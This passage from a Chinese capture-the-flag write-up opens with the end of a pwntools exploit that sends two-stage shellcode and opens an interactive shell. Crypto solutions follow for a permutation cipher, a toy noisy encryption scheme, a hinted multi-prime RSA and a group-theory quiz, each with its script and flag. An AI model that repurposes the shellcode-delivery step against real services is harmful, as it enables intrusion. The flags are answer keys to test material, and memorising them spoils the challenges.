function (also after compile)\n") log.info("Sending Stage 1 (stager with jump) shellcode...")p.send(stage1_shellcode) sleep(0.2) log.info("Sending Stage 2 (main) shellcode...")p.send(stage2_shellcode) p.interactive()FLAG
flag{69e91513-a99d-403b-8f3f-0afd9ec5b32e}Crypto
置换
Challenge
我一看数学就头疼怎么办?(把解密出的文本用flag{}裹上提交)
【难度:中等】
Hello, guys!
Let’s learn something new today.1
在一个集合(例如
)中,置换是一个把集合元素重新排列的函数。 例如:
我们可以可视化为:
或者使用 轮换表示法(cycle notation):
如果想组合两个置换
和 ,写作:
例子:
把字母映射到数字:
我们定义一个置换
,它是 两个简单 置换的复合: 加密操作:
例子:
你的密文:
SUFK_D_SJNPHA_PARNUTDTJOI_WJHH_GACJIJTAHY_IOT_STUNP_YOU.
Solution
-
加密是函数 F 的应用:
其中
-
解密是应用 F 的逆函数:
-
对于复合函数,逆的顺序是相反的:
这意味着解密时,我们需要先应用
的逆,再应用 的逆 -
只需将轮换中的元素顺序颠倒即可求得一个轮换的逆:例如轮换
的作用是 ,它的逆操作就是 ,也就是轮换 或 -
计算
和 :
编写Python脚本解题:
- 定义一个函数,将轮换表示法(字符串)转换为一个字典,方便查找映射关系。
- 创建
和 的映射字典。 - 遍历密文,对每个字母执行解密操作:
字母 -> 数字 -> 应用 σ₂⁻¹ -> 应用 σ₁⁻¹ -> 数字 -> 字母。 - 非字母字符(如
_和.)保持不变。
import re def parse_cycles_to_map(cycle_notation_str: str) -> dict[int, int]: """ 将轮换表示法字符串解析为Python字典 """ permutation_map = {} # 使用正则表达式找到所有括号内的内容 cycles = re.findall(r'\((.*?)\)', cycle_notation_str) for cycle in cycles: # 将字符串 "1 2 3" 转换成整数列表 [1, 2, 3] numbers = [int(n) for n in cycle.split()] if len(numbers) < 2: continue # 创建映射关系:n1 -> n2, n2 -> n3, ..., nk -> n1 for i in range(len(numbers) - 1): permutation_map[numbers[i]] = numbers[i+1] # 最后一个数字映射回第一个 permutation_map[numbers[-1]] = numbers[0] return permutation_map # 0. 密文ciphertext = "SUFK_D_SJNPHA_PARNUTDTJOI_WJHH_GACJIJTAHY_IOT_STUNP_YOU." # 1. 定义两个置换的逆# 原置换:# s1 = "(1 3 5 7)(2 4 6)(8 10 12 14)"# s2 = "(1 2 3 4 5 6 7)(8 9 10 11 12 13 14)" # 逆置换 (颠倒每个轮换内部的顺序)s1_inv_str = "(7 5 3 1)(6 4 2)(14 12 10 8)"s2_inv_str = "(7 6 5 4 3 2 1)(14 13 12 11 10 9 8)" # 2. 将逆置换转换为映射字典s1_inv_map = parse_cycles_to_map(s1_inv_str)s2_inv_map = parse_cycles_to_map(s2_inv_str) # 3. 遍历密文进行解密plaintext = []for char in ciphertext: if 'A' <= char <= 'Z': # 字母 -> 数字 (A=1, B=2, ...) num = ord(char) - ord('A') + 1 # 解密 F_inv = s1_inv o s2_inv # 首先应用 s2_inv # .get(num, num) 表示如果num不在映射中,则它映射到自身 num_after_s2_inv = s2_inv_map.get(num, num) # 然后应用 s1_inv decrypted_num = s1_inv_map.get(num_after_s2_inv, num_after_s2_inv) # 数字 -> 字母 decrypted_char = chr(decrypted_num - 1 + ord('A')) plaintext.append(decrypted_char) else: # 非字母字符保持原样 plaintext.append(char) # 4. 组合并打印结果flag = "".join(plaintext)print("flag{"+flag+"}")FLAG
flag{SUCH_A_SIMPLE_PERMUTATION_WILL_DEFINITELY_NOT_STUMP_YOU.}FHE: 0 and 1
Challenge
千里之堤,溃于蚁穴
【难度:简单】
import uuidimport randomfrom Crypto.Util.number import getPrime flag = "flag{" + str(uuid.uuid4()) + "}" # 生成随机 flagbinary_flag = "" # 存储 flag 对应的二进制字符串 # 将每个字符转换为 8 位二进制for ch in flag: # ord(ch) 得到字符的 ASCII 值 # bin(...) 得到二进制字符串,去掉 '0b' 前缀并补齐 8 位 binary_flag += bin(ord(ch))[2:].zfill(8) p = getPrime(128) # 生成大素数 p # -------------------------------# 加密逻辑# -------------------------------ciphertext = [] # 存储加密后的每一位public_keys = [] # 存储每一位对应的 public key for bit in binary_flag: # 随机生成一个大整数作为公钥 rand_multiplier = random.randint(p // 4, p // 2) rand_offset = random.randint(1, 10) pk_i = p * rand_multiplier + rand_offset public_keys.append(pk_i) # 加密:bit + 一个小随机数 + p 的倍数 small_noise = 2 * random.randint(1, p // 2**64) large_noise = p * random.randint(p // 4, p // 2) c_i = int(bit) + small_noise + large_noise ciphertext.append(c_i) # -------------------------------# 保存公钥和密文到文件# -------------------------------with open("pk.txt", "w") as f: f.write(str(public_keys)) with open("c.txt", "w") as f: f.write(str(ciphertext))Solution
加密逻辑分析
-
密钥
p:脚本的核心秘密是一个128位的素数p,这个p在整个加密过程中保持不变,但没有被保存到任何文件中。因此解密的第一步就是恢复p -
公钥
public_keys:每个公钥pk_i的生成方式是pk_i = p * rand_multiplier + rand_offsetrand_multiplier是一个非常大的随机整数rand_offset是一个非常小的随机整数,范围是[1, 10]- 这意味着
pk_i非常接近p的某个倍数,如果我们计算pk_i % p,结果就是rand_offset - 由于所有的
pk_i都共享同一个p,这给了我们一个找到p的突破口,p是所有(pk_i - r_i)的一个“近似”公因子,其中r_i是我们不知道的小偏移量
-
密文
ciphertext:每个密文c_i的生成方式是c_i = int(bit) + small_noise + large_noisebit是 0 或 1small_noise是2 * random.randint(...),这意味着small_noise永远是偶数large_noise是p * random.randint(...),这意味着large_noise永远是p的倍数
解题思路
步骤一:恢复素数 p
我们观察公钥的结构 pk_i = p * q_i + r_i(这里用 q_i 代表 rand_multiplier,r_i 代表 rand_offset)。
因为我们不知道 r_i,所以不能直接通过求最大公约数(GCD)来找到 p。但是,r_i 的范围非常小(1到10)。我们可以利用这一点:
- 任意选取一个公钥,比如
pk_0 - 我们知道
pk_0 = p * q_0 + r_0,其中r_0是 1 到 10 之间的一个整数 - 我们可以遍历
r_0的所有可能值(从1到10) - 对于每一个猜测的
r_guess,我们计算M = pk_0 - r_guess,如果我们的猜测是正确的那么M就是p * q_0的值 - 现在
M应该有两个大素数因子p和q_0,我们可以对M进行质因数分解,p是一个128位的素数,所以我们只需要在因子中寻找一个128位的数 - 找到一个候选的
p之后我们需要验证它是否正确,可以用另一个公钥(比如pk_1)来验证,如果p是正确的,那么pk_1 % p的结果应该也在[1, 10]这个范围内,如果满足这个条件,我们几乎可以肯定已经找到了正确的p
步骤二:解密 ciphertext
观察密文的结构:c_i = bit + small_noise + large_noise
等式两边同时模 p:
c_i % p = (bit + small_noise + large_noise) % p
因为 large_noise 是 p 的倍数,所以 large_noise % p = 0
等式变为:c_i % p = (bit + small_noise) % p
然后再对这个结果模 2:
(c_i % p) % 2 = (bit + small_noise) % 2
因为 small_noise 是偶数,所以 small_noise % 2 = 0
等式变为:(c_i % p) % 2 = bit % 2
因为 bit 本身就是 0 或 1,所以 bit % 2 就是 bit 本身
得出结论: bit = (c_i % p) % 2
步骤三:恢复 flag
- 遍历所有密文
c_i,使用上面的公式计算出每一位bit - 将所有
bit拼接成一个二进制字符串 - 将二进制字符串按每8位进行分割
- 将每个8位的二进制块转换为其对应的ASCII字符
- 将所有字符拼接起来,就得到了原始的 flag
import astfrom sympy import factorint with open("pk.txt", "r") as f: public_keys = ast.literal_eval(f.read()) with open("c.txt", "r") as f: ciphertext = ast.literal_eval(f.read()) def find_p(pks): """ 通过因式分解和验证来恢复素数 p """ pk0 = pks[0] pk1 = pks[1] # 用于验证 # 遍历 r_offset 的所有可能值 (1 到 10) for r_guess in range(1, 11): print(f"[*] 正在尝试 r_offset = {r_guess}...") # M = pk0 - r_guess 应该是 p * q0 M = pk0 - r_guess # 对 M 进行质因数分解 try: factors = factorint(M) except Exception as e: print(f"因式分解失败: {e}") continue # 遍历所有因子,寻找128位的素数 p for p_candidate, _ in factors.items(): # 检查候选 p 的位数是否为 128 if p_candidate.bit_length() == 128: print(f" [*] 找到一个128位的候选 p: {p_candidate}") # 使用另一个公钥进行验证 # 如果 p 是正确的,pk1 % p_candidate 的结果应该在 [1, 10] 内 remainder = pk1 % p_candidate if 1 <= remainder <= 10: print(f" [+] 验证成功!remainder = {remainder}") return p_candidate else: print(f" [-] 验证失败。remainder = {remainder}") return None p = find_p(public_keys)if p: print(f"\n成功找到 p: {p}")else: print("\n未能找到 p,解密失败。") exit() binary_flag = ""for c_i in ciphertext: # bit = (c_i % p) % 2 bit = (c_i % p) % 2 binary_flag += str(bit) print(f"\n恢复的二进制字符串长度: {len(binary_flag)}") flag = ""for i in range(0, len(binary_flag), 8): byte = binary_flag[i:i+8] if len(byte) == 8: char_code = int(byte, 2) flag += chr(char_code) print(flag) FLAG
flag{3235c1ab-6830-480f-b5e0-39be40b94a7d}RSA_revenge
Challenge
Fermat和Euler在week1被击败了,这次他们大大升级卷土重来,聪明的你掏出了骨传导耳机和爆破弹,你能打出漂亮的防守吗?(方法不止一种哦,聪明的你能想到吗?)
【难度:困难】
# 这段脚本把 flag 拆成两半并分别加密 from Crypto.Util.number import *import random # 原始 flagflag = b'flag{???????????????????}'length = len(flag) # 把 flag 分成前后两半,分别转换为整数 m1, m2m1 = bytes_to_long(flag[:length//2])m2 = bytes_to_long(flag[length//2:]) # ------------------------- par1: 构造第1类模 n1 并加密 m -------------------------def par1(m): lst = [] # 选取 3 个不同的大素数(每个 512 bit) while len(lst) < 3: prime = getPrime(512) if prime not in lst: lst.append(prime) print(prime) # n1 = ∏ p_i^{t_i},其中每个素因子 p_i 被随机提升到 2到7 的小幂 n1 = 1 for prime in lst: tmp = random.randint(2, 7) # 指数 tmp 在 2到7 之间 print(tmp) n1 *= prime ** tmp e = 65537 # 在模 n1 下对 m 做 RSA 加密 c1 = pow(m, e, n1) # 输出素因子列表、模 n1、密文 c1 print(f"list:{lst}") print(f"n1={n1}") print(f"c1={c1}") # ------------------------- par2: 构造第2类模 n2 并加密 m,给出多个 hint -------------------------def par2(m): # 随机选三个不同的大素数 p2,q2,r2(每个 512 bit),并把它们相乘得到 n2 while True: p2 = getPrime(512) q2 = getPrime(512) r2 = getPrime(512) if p2 != q2 and p2 != r2 and q2 != r2: break n2 = p2 * q2 * r2 hint1 = pow(m, p2 * q2, n2) hint2 = pow(m, r2, n2) # 怎么用好 hint1 和 hint2 呢?试一试 Fermat 吧! hint3 = p2 + q2 # hint3 很关键 —— 想想如果你知道 p+q 和 p*q,就能做什么? e = 65537 c2 = pow(m, e, n2) print(f"n2={n2}") print(f"hint1={hint1}") print(f"hint2={hint2}") print(f"hint3={hint3}") print(f"c2={c2}") # 分别运行两部分,对 flag 的前半段/后半段加密并输出相关提示par1(m1)par2(m2) '''list:[8477643094111283590583082266686584577185935117516882965276775894970480047703089419434737653896662067140380478042001964249802246254766775288215827674566239, 7910991244809724334133464066916251012653855854025088993280923310153569870514093484293150987057836939645880428872351249598065661847436809250099607617398229, 12868663117540247120940164330605349884925779832327002530579867223566756253418944553917676755694242046142851695033487706750006566539584075228562544644953317]n1=1103351600126529748374237534378639752005563260397057273760573608668234841858898339963615180586483636658319719258259564340229731088477043006707066258091746453519875771328756343070392346553837475869985292233339882321767365588480914243055530194543710833400735694644740966837509139443272712871728933520755003149497543272631963356726446399042360341133139923381402765176034620742095462597690819317740258280338778466308360122325510768573457366480478480385099879072314101166576014811788437611871531848011762293407180575205681864374034973560073644731757180275405672624629974899658185645498677923049149478738083257882839079796420483489134608949730373829870700049152830490730902518823469250714236113622490232617166274965015245948264281265453208875232918994116540222173029738472689551464384951129495828658025526216028826258099588572669439254177489891457890498930044291769038333452721765661715836795838845421437984152253836745540547878024331492328801233425013069672422548913381714868180440419922587534373534388179645778998201569812711853469607955639409976100938326204393436455902117700715705355730254907473694496862186927081288536664564066273905636691443629865742113665395817897790346568115147261785693069547062993147965228097215778787698574672103567611954541526351385121096946876318405181900957517179318858167322380305506577864659070587276190351263272904670121000123739762817165611376508091511049581310489960967300251226150505529874043827860587179066433478573304632672443028389332137578559069790875583860034559992961597964011009181097461053565357444468759142467793785272517357594961007684369171923169825343428400994582000709315829746271356743493827706669902956302087422710335869361908872578360718630332916867987882367454381486160119341248986730614715669587555561672656107579415221691270769054441036888212622679174466809685017295395823904506545225068526453243179279430769878809345179954207934650512040934969514434321887565917951423932360150276928683390148666338790317001765138293050858448249492058987889761085236104153306884365020403974305552987123976314900738336243171779096705121428628914344115125836293982077268043357822313817090167616525512714228298048543723340688062975654817272989686281447834032081689520522343318726816659742944874587243087717935463623631288732784108299093601104113561688659145661286269339180833210463c1=1091994761217634826072124019708574984391652131019528859451478177360336520455071879664626056517127684886792263267184750289726966173475531785135908239241367011964947254146686336678625127107000203921535502636024125382397949549706019108806905113568387688784083651867765356465676713044867529224095280990952281722377729904633765755308727317586804384907594623294542255582608130775388385053656500091188492219892541287152759373311871679053567569991598739628072091647402994694057021522875429987401797108991466209720726320411739418901734326490258573985380323870664455719118307333460877640654186421881374126846465164012283741829305792336376443671697322944983680753186871994926812712407530175535547953488409667363778877011722921746615125168842335755090712330314248078688305813574126414154357295682111730319771541764882123530538798904329448342477283010679916534388272354852606444335501019923314748714020060783702757991765107811664795881473290112012642711848840732656792842975595985262637352884148989392358729413049666423809444629233355604344713121576947744271550672311509709353155584615401385981281541568915650140285513857950097872392262841978506457072907666348887936981254691271750737368646952613446340505887570613771043863966115924851279285010321193299940403084752305457659188900451883509679442577291500194294702408740417770241347854055121038455584689346661759142226424655750649030196509606345959868857460928822458178193914427975718432613693148519385509070885413086890691471063639321214058351800789483569828355240522324245612035847073723555128381268497293297681153943700076717509367055194706714770699658667364019792069384855913700111098207862666478388154325649690787295929427544059466206456378068191323286585251490682952650730101051661446454500997013269750318207079005140046631065420740924251847948208391204635801689730778074655515676216581230345037704163062457051532737078339281175699645868527505281984564077081473213204937490995858702477009964928872064904754834804222961572810639265783286770899262602346777948115933216112376126550352514674411338374863486761612733848198090788549337632188615953986569772932102409611086086895003705261003974939487286850347660140334361903821934552381535024019082394626749532280515222512480387681995937963724398131252527927016338174692268363933916957519992512787514236065140642709723084266949 n2=1069018081462192233874980694931144545150390355151142000407896565228521856087497130221328822828336193888433906258622424173888905902703892967253752403237818439004204769185744957222426788163474091322195131517000927031632213563726678357776820914860304114493023487392954636569155416533134778017635963554249754152905136768251720862406591818283210776943594065154793598910172412634428403766286774221252340847853800584819732893065160890727141088203583945705491817754798199hint1=495128350277196206878301144662871873237030348510695923954264742873861239639964327065778936381957512315649691671343380037835210964239285388639258116089512827565613815144843995253866231195560373946746849139176701974882655518646303907103018798645711804858249793838527221003421990186067508970406658504653011309012705975088331579176215562874130854040538446696646570783420605205142219423250083326857924937357413604293802370900521919578742651150371880416910794941782372hint2=30328561797365977072611520167046226865857127358764834983211668172910299946455309984910564878419440651867811045905957544019080032899770755776597512870488988655573901143704158135658656276142062054235425241921334990614594054774876139797881802290465401101513930547809082303438739954539239681192173563314964619128522116071538744700209974655230351192503911493028021717763873423132332205605117704777006410273001461242351682504368760936763922017247768057874236213463076hint3=20884722618082876001516601155402590958389763080024067634953470674302186115943562475648388511118550021010685094074280890845364756164094187193286427464829840c2=548415661734126053738347374438337003873176731288953351164055019598761821990636552806558989407452529293973596759395078164177029251755832478675308995116633955485067347066419466003081030015784908106772410713523387155248930421498438336128348929737424937920603679054765413736671822930257854740643178209639013528748572597042833138551717910328899462934527011212318128877188460373648545379405946354668400634037669394938860103705689139981117990256660685216959315741336968'''Solution
第 1 部分 (par1 解密 m1)
- 目标:解密
c1得到m1,这是一个 RSA 加密,但模数n1不是两个素数的乘积,而是p1^t1 * p2^t2 * p3^t3 - 关键:要进行 RSA 解密,我们需要计算私钥
d1,这需要欧拉函数phi(n1) - 欧拉函数计算:
- 对于
n = p^k,phi(p^k) = p^k - p^(k-1) = p^(k-1) * (p-1) - 欧拉函数是积性函数,所以
phi(n1) = phi(p1^t1) * phi(p2^t2) * phi(p3^t3)
- 对于
- 解密步骤:
- 从
par1的输出中我们直接获得了素数列表lst和对应的指数t_i - 利用上面的公式计算出
phi(n1) - 计算私钥
d1 = inverse(e, phi(n1)) - 解密得到
m1 = pow(c1, d1, n1)
- 从
第 2 部分 (par2 解密 m2)
- 目标:解密
c2得到m2,这是一个三素数 RSA 问题 (n2 = p2 * q2 * r2),但我们有几个强大的hint - 利用
hint分解n2:hint2 = pow(m, r2, n2):根据费马小定理m^r2 ≡ m (mod r2),因此我们可以推断出hint2 ≡ m (mod r2)- 因为
c2 = pow(m, e, n2),所以c2 ≡ m^e (mod r2) - 将
m ≡ hint2 (mod r2)代入上式得到c2 ≡ hint2^e (mod r2) - 这意味着
c2 - hint2^e是r2的倍数,同时n2也是r2的倍数,因此我们可以通过计算gcd(c2 - pow(hint2, e, n2), n2)来求出r2 hint3 = p2 + q2:一旦求出r2就可以计算p2q2 = n2 // r2- 现在知道了
p2 + q2的值 (S = hint3) 和p2 * q2的值 (P = n2 // r2),可以解一个一元二次方程x^2 - S*x + P = 0来求出p2和q2,方程的解是(S ± sqrt(S^2 - 4P)) / 2
- 解密步骤:
- 使用上述
gcd技巧求出r2 - 计算
p2q2 = n2 // r2 - 使用
hint3和p2q2解二次方程,得到p2和q2 - 计算
phi(n2) = (p2 - 1) * (q2 - 1) * (r2 - 1) - 计算私钥
d2 = inverse(e, phi(n2)) - 解密得到
m2 = pow(c2, d2, n2)
- 使用上述
最后把 m1 和 m2 转换回字节并拼接
from Crypto.Util.number import *import math list = ...n1 = ...c1 = ... n2 = ...# hint1 没用上hint2 = ...hint3 = ...c2 = ... e = 65537 # ========================= Part 1: 解密 m1 ========================= # 从 n1 和素数列表 list 中恢复每个素数的指数factors = {}temp_n1 = n1for p in list: if p == 0: continue # 防止列表未填充时出错 count = 0 while temp_n1 % p == 0: temp_n1 //= p count += 1 factors[p] = count # 计算 phi(n1)# phi(p^k) = p^(k-1) * (p-1)phi_n1 = 1for p, t in factors.items(): phi_n1 *= (p**(t-1) * (p-1)) # 计算私钥 d1d1 = inverse(e, phi_n1) # 解密 m1m1 = pow(c1, d1, n1)flag1 = long_to_bytes(m1) # ========================= Part 2: 解密 m2 =========================# 利用 hint2 和 c2 求出 r2# 因为 hint2 ≡ m (mod r2), c2 ≡ m^e (mod r2)# 所以 c2 - hint2^e ≡ 0 (mod r2)# 因此 r2 是 gcd(c2 - pow(hint2, e, n2), n2) 的一个因子(在此题中就是r2本身)temp_val = (c2 - pow(hint2, e, n2)) % n2r2 = GCD(temp_val, n2) # 计算 p2*q2p2q2 = n2 // r2 # 利用 hint3 = p2+q2 和 p2q2 来求解 p2, q2# 解一元二次方程 x^2 - (p2+q2)x + p2q2 = 0S = hint3 # p2 + q2P = p2q2 # p2 * q2delta = S*S - 4*P if delta < 0: print("[!] 无法分解 p2 和 q2 (delta < 0)")else: sqrt_delta = math.isqrt(delta) if sqrt_delta * sqrt_delta != delta: print("[!] 无法分解 p2 和 q2 (delta 不是完全平方数)") else: p2 = (S + sqrt_delta) // 2 q2 = (S - sqrt_delta) // 2 # 验证分解是否正确 if p2 * q2 * r2 == n2: # 计算 phi(n2) phi_n2 = (p2 - 1) * (q2 - 1) * (r2 - 1) # 计算私钥 d2 d2 = inverse(e, phi_n2) # 解密 m2 m2 = pow(c2, d2, n2) flag2 = long_to_bytes(m2) flag = flag1 + flag2 print(flag) else: print("[!] 分解出的素数不正确")FLAG
flag{Ooooo6_y0u_kn0w_F3rm@t_and_Eu13r_v3ry_w3ll!!}群论小测试
Challenge
扣”循环群“变成群论高手
【难度:中等】
# Sage 9.3 from __future__ import annotationsimport osimport randomimport sys try: from sage.all import ( SymmetricGroup, AlternatingGroup, DihedralGroup, CyclicPermutationGroup, QuaternionGroup, AbelianGroup )except Exception as e: sys.stderr.write("This script must be run with SageMath") raise # --------------------------- Config ---------------------------ROUNDS_NEEDED = 5 from secret import FLAG CATALOG = [ # (human_key, constructor_callable, accepted_aliases) ("C2", lambda: CyclicPermutationGroup(2), {"C2","C_2","Z2","Z_2","CYCLIC2"}), ("C3", lambda: CyclicPermutationGroup(3), {"C3","C_3","Z3","Z_3","CYCLIC3"}), ("C4", lambda: CyclicPermutationGroup(4), {"C4","C_4","Z4","Z_4","CYCLIC4"}), ("C5", lambda: CyclicPermutationGroup(5), {"C5","C_5","Z5","Z_5","CYCLIC5"}), ("C6", lambda: CyclicPermutationGroup(6), {"C6","C_6","Z6","Z_6","CYCLIC6"}), ("C7", lambda: CyclicPermutationGroup(7), {"C7","C_7","Z7","Z_7","CYCLIC7"}), ("C8", lambda: CyclicPermutationGroup(8), {"C8","C_8","Z8","Z_8","CYCLIC8"}), ("C9", lambda: CyclicPermutationGroup(9), {"C9","C_9","Z9","Z_9","CYCLIC9"}), ("C10", lambda: CyclicPermutationGroup(10), {"C10","C_10","Z10","Z_10","CYCLIC10"}), ("V4", lambda: AbelianGroup([2,2]), {"V4","K4","KLEIN4","KLEINGROUP","C2XC2","C2*C2","Z2XZ2","Z2*Z2"}), ("S3", lambda: SymmetricGroup(3), {"S3","S_3","SYM3","D3","D_3","DIHEDRAL6"}), ("S5", lambda: SymmetricGroup(5), {"S5","S_5","SYM5"}), ("D4", lambda: DihedralGroup(4), {"D4","D_4","DIHEDRAL8","D8","D_8"}), ("D5", lambda: DihedralGroup(5), {"D5","D_5","DIHEDRAL10"}), ("D6", lambda: DihedralGroup(6), {"D6","D_6","DIHEDRAL12"}), ("Q8", lambda: QuaternionGroup(), {"Q8","Q_8","QUATERNION","QUATERNION8"}), ("A4", lambda: AlternatingGroup(4), {"A4","A_4","ALT4"}), ("A5", lambda: AlternatingGroup(5), {"A5","A_5","ALT"}),] MAX_ORDER =10 # --------------------------- Helpers --------------------------- def normalize_answer(s: str) -> str: s = s.strip().upper() s = s.replace("×","X").replace("*","X").replace("-","") s = s.replace("_","").replace(" ","").replace(".","") return s def pick_group(): pool = [] for key, ctor, aliases in CATALOG: G = ctor() if MAX_ORDER is None or G.order() <= MAX_ORDER: pool.append((key, ctor, aliases)) key, ctor, aliases = random.choice(pool) G = ctor() return key, G, aliases def cayley_table_random_labels(G): elems = list(G) n = len(elems) perm = list(range(n)) random.shuffle(perm) idx_by_elem = {elems[i]: perm[i] for i in range(n)} elem_by_label = [None]*n for i, e in enumerate(elems): elem_by_label[idx_by_elem[e]] = e T = [[None]*n for _ in range(n)] for a in range(n): for b in range(n): prod = elem_by_label[a] * elem_by_label[b] T[a][b] = idx_by_elem[prod] return T def print_table(T): n = len(T) # Header row header = [" "] + [str(j) for j in range(n)] print(" ".join(h.rjust(3) for h in header)) print("-" * (4*n)) for i in range(n): row = [str(i)] + [str(T[i][j]) for j in range(n)] print(" ".join(x.rjust(3) for x in row)) """def prompt(msg: str) -> str: sys.stdout.write(msg) sys.stdout.flush() return sys.stdin.readline()""" # --------------------------- Game Loop --------------------------- def main(): random.seed(os.urandom(16)) print("Welcome to the Cayley Table Group-ID Quiz!\n") print(f"Identify {ROUNDS_NEEDED} groups correctly to get the flag.\n") correct = 0 round_no = 0 while correct < ROUNDS_NEEDED: round_no += 1 key, G, aliases = pick_group() T = cayley_table_random_labels(G) print(f"Round {round_no}: The table below is a group of order n={len(T)}.") print("Elements are anonymized as 0..n-1. Multiplication is row * column.\n") print_table(T) ans = input("\nYour answer (e.g., C4, Z6, S3, D4, V4, Q8, A4, S4): ") if not ans: print("No input detected. Exiting.") return norm = normalize_answer(ans) if norm in aliases: correct += 1 print(f"✅ Correct! Progress: {correct}/{ROUNDS_NEEDED}\n") else: # Small hint to keep it fun without giving away. abelian = all(T[i][j] == T[j][i] for i in range(len(T)) for j in range(len(T))) hint = "abelian" if abelian else "non-abelian" print(f"❌ Incorrect. Hint: the group is {hint}, order {len(T)}. Try the next one!\n") print(f"\n🎉 Congrats! Here is your flag: {FLAG}") if __name__ == "__main__": try: main() except KeyboardInterrupt: print("\nBye!")Solution
本挑战是一个基于群论的识别游戏。服务器会提供一个群的凯莱表(乘法表),但群元素的标签(0 到 n-1)是随机打乱的。我们需要在5轮中正确地识别出凯莱表所代表的群,从而获得 flag。服务器从一个预定义的群目录中选择群,且群的阶数不超过10。
解题思路
由于元素的标签是匿名的,我们无法通过直接比较凯莱表来识别群。解决此问题的关键在于利用群的同构不变量——这些属性不随元素的重新标记而改变。对于阶数较小的有限群,以下三个不变量的组合足以唯一地识别它们:
- 群的阶 (Order):群中元素的数量
n。这是最基本的不变量,可以直接从凯莱表的维度n x n得到。 - 交换性 (Abelian Property):群是否是阿贝尔群(即乘法满足交换律)。这可以通过检查凯莱表是否沿主对角线对称来判断(即
T[i][j] == T[j][i]对所有i, j成立)。 - 元素阶的分布 (Element Order Distribution):群中所有元素的阶(Order)构成的多重集。一个元素
g的阶是指最小的正整数k使得g^k等于单位元e。这个分布是识别群同构类型的强大指纹。
解题策略是:
- 构建指纹库:离线预计算服务器
CATALOG中所有可能出现的群(阶小于等于10)的指纹。每个群的指纹由其(阶, 是否为交换群, 排序后的元素阶列表)构成。 - 在线分析:对于服务器在每一轮发来的凯莱表,我们在线计算其对应的指纹。
- 匹配与回答:将在线计算出的指纹与预计算的指纹库进行匹配,找到对应的群的名称,然后发送给服务器。
解题步骤
步骤一:构建指纹库
我们首先需要分析服务器代码中的 CATALOG 列表,找出所有阶数小于等于10的群,并计算它们的指纹。
| 群名称 | 阶 (Order) | 是否交换 (Abelian) | 元素阶分布 (排序后) | 指纹 |
|---|---|---|---|---|
| C2 | 2 | True | 1, 2 | (2, True, (1, 2)) |
| C3 | 3 | True | 1, 3, 3 | (3, True, (1, 3, 3)) |
| V4 | 4 | True | 1, 2, 2, 2 | (4, True, (1, 2, 2, 2)) |
| C4 | 4 | True | 1, 2, 4, 4 | (4, True, (1, 2, 4, 4)) |
| C5 | 5 | True | 1, 5, 5, 5, 5 | (5, True, (1, 5, 5, 5, 5)) |
| S3 | 6 | False | 1, 2, 2, 2, 3, 3 | (6, False, (1, 2, 2, 2, 3, 3)) |
| C6 | 6 | True | 1, 2, 3, 3, 6, 6 | (6, True, (1, 2, 3, 3, 6, 6)) |
| C7 | 7 | True | 1, 7, 7, 7, 7, 7, 7 | (7, True, (1, 7, 7, 7, 7, 7, 7)) |
| D4 | 8 | False | 1, 2, 2, 2, 2, 2, 4, 4 | (8, False, (1, 2, 2, 2, 2, 2, 4, 4)) |
| Q8 | 8 | False | 1, 2, 4, 4, 4, 4, 4, 4 | (8, False, (1, 2, 4, 4, 4, 4, 4, 4)) |
| C8 | 8 | True | 1, 2, 4, 4, 8, 8, 8, 8 | (8, True, (1, 2, 4, 4, 8, 8, 8, 8)) |
| C9 | 9 | True | 1, 3, 3, 9, 9, 9, 9, 9, 9 | (9, True, (1, 3, 3, 9, 9, 9, 9, 9, 9)) |
| D5 | 10 | False | 1, 2, 2, 2, 2, 2, 5, 5, 5, 5 | (10, False, (1, 2, 2, 2, 2, 2, 5, 5, 5, 5)) |
| C10 | 10 | True | 1, 2, 5, 5, 5, 5, 10, 10, 10, 10 | (10, True, (1, 2, 5, 5, 5, 5, 10, 10, 10, 10)) |
这些指纹在给定的群列表中是唯一的。我们将这些数据硬编码到一个 Python 字典中,用于快速查找。
步骤二:编写自动化脚本 (Online)
我们使用 pwntools 库来与服务器进行交互。脚本的核心逻辑分为两部分:解析凯莱表和计算其指纹。
-
解析凯莱表 (
parse_table):- 从服务器的输出中,通过正则表达式
order n=(\d+)找到群的阶n。 - 定位到表格数据前的
---分隔线。 - 从分隔线后读取
n行数据。 - 将每一行字符串解析为数字列表,并去掉行号,最终构建一个
n x n的整数矩阵。
- 从服务器的输出中,通过正则表达式
-
识别群 (
identify_group):- 计算阶:
n = len(table)。 - 判断交换性: 遍历表格,检查
table[i][j] == table[j][i]是否对所有i, j成立。 - 寻找单位元: 遍历所有元素
i(从0到n-1),找到那个满足table[i][j] == j(行) 且table[j][i] == j(列) 的i。这个i就是单位元的匿名标签。 - 计算元素阶分布:
- 对于每一个元素
x(标签为i),初始化其阶order = 1。 - 计算
x^2 = table[i][i],x^3 = table[table[i][i]][i], … 直到结果等于单位元的标签。 - 迭代的次数就是元素
x的阶。 - 收集所有
n个元素的阶。
- 对于每一个元素
- 生成指纹: 将
(阶, 交换性, 排序后的元素阶列表)组合成一个元组。 - 匹配: 在预计算的指纹库中查找这个元组,返回对应的群名称。
- 计算阶:
from pwn import *import re HOST = ...PORT = ...ROUNDS_NEEDED = 5 # 预计算的群指纹# 格式: (order, is_abelian, sorted_tuple_of_element_orders) -> "GroupName"FINGERPRINTS = { # Order 2 (2, True, (1, 2)): "C2", # Order 3 (3, True, (1, 3, 3)): "C3", # Order 4 (4, True, (1, 2, 2, 2)): "V4", (4, True, (1, 2, 4, 4)): "C4", # Order 5 (5, True, (1, 5, 5, 5, 5)): "C5", # Order 6 (6, True, (1, 2, 3, 3, 6, 6)): "C6", (6, False, (1, 2, 2, 2, 3, 3)): "S3", # Order 7 (7, True, (1, 7, 7, 7, 7, 7, 7)): "C7", # Order 8 (8, True, (1, 2, 4, 4, 8, 8, 8, 8)): "C8", (8, False, (1, 2, 2, 2, 2, 2, 4, 4)): "D4", (8, False, (1, 2, 4, 4, 4, 4, 4, 4)): "Q8", # Order 9 (9, True, (1, 3, 3, 9, 9, 9, 9, 9, 9)): "C9", # Order 10 (10, True, (1, 2, 5, 5, 5, 5, 10, 10, 10, 10)): "C10", (10, False, (1, 2, 2, 2, 2, 2, 5, 5, 5, 5)): "D5",} def parse_table(data): """ 从服务器输出中稳健地解析出凯莱表。 通过先找到阶n,再定位分隔符,然后读取n行来确保表格的完整性。 """ lines = data.decode().splitlines() table = [] n = None # 1. 从介绍文本中找到群的阶 n for line in lines: match = re.search(r'order n=(\d+)', line) if match: n = int(match.group(1)) break if n is None: log.error("Could not find group order 'n=...' in the output.") return [] # 2. 找到表格前的 '---' 分隔线 try: separator_index = next(i for i, line 